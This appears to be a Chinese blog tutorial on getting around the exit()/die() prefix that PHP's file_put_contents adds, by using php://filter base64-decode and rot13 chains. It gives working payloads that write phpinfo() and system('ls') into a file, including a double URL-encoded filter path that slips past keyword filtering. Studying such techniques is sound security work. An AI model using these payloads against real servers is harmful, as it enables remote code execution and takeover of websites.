file_put_content函数下的绕过
该函数的作用是将文件写入字符串中
首先,file_put_content大概有三种情形出现;
file_put_contents($filename,"<?php exit();".$content);
file_put_contents($content,"<?php exit();".$content);
file_put_contents($filename,$content . "\nxxxxxx");
思路:将杂糅或者死亡代码分解
这里思路基本上都是利用php伪协议filter,结合编码或者相应的过滤器进行绕过;
其原理不外乎是将死亡或者杂糅代码分解成php无法识别的代码;
1.base64绕过
利用base64解码,将死亡代码解码成乱码,使得php引擎无法识别;
$filename='php://filter/convert.base64-decode/resource=s1mple.php';
$content = 'aPD9waHAgcGhwaW5mbygpOz8+';
file_put_contents($filename,"<?php exit();".$content);
这里content前加了个a 是因为是因为base64在解码的时候是将4个字节转化为3个字节,
又因为死亡代码只有phpexit参与了解码,所以补上一位就可以完全转化。
2.rot13编码绕过
php://filter/string.rot13/resource=simple.php
<?php phpinfo();>
经过rot13编码后这样:<?cuc cucvasb();?>
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
urldecode
payload:
php://filter/write=convert.base64-encode/resource=1.php 进行两次url加密
content中传入
<?php system('ls');?> 后进行base64加密 中间的phpdie是六位字符
而base64是以四位进行加解密 所以在base64加密后补上aa
正好填充 phpdieaa 对die函数进行消去
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 地球OL攻略 —— 某应届生求职总结
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 提示词工程——AI应用必不可少的技术
· .NET周刊【3月第1期 2025-03-02】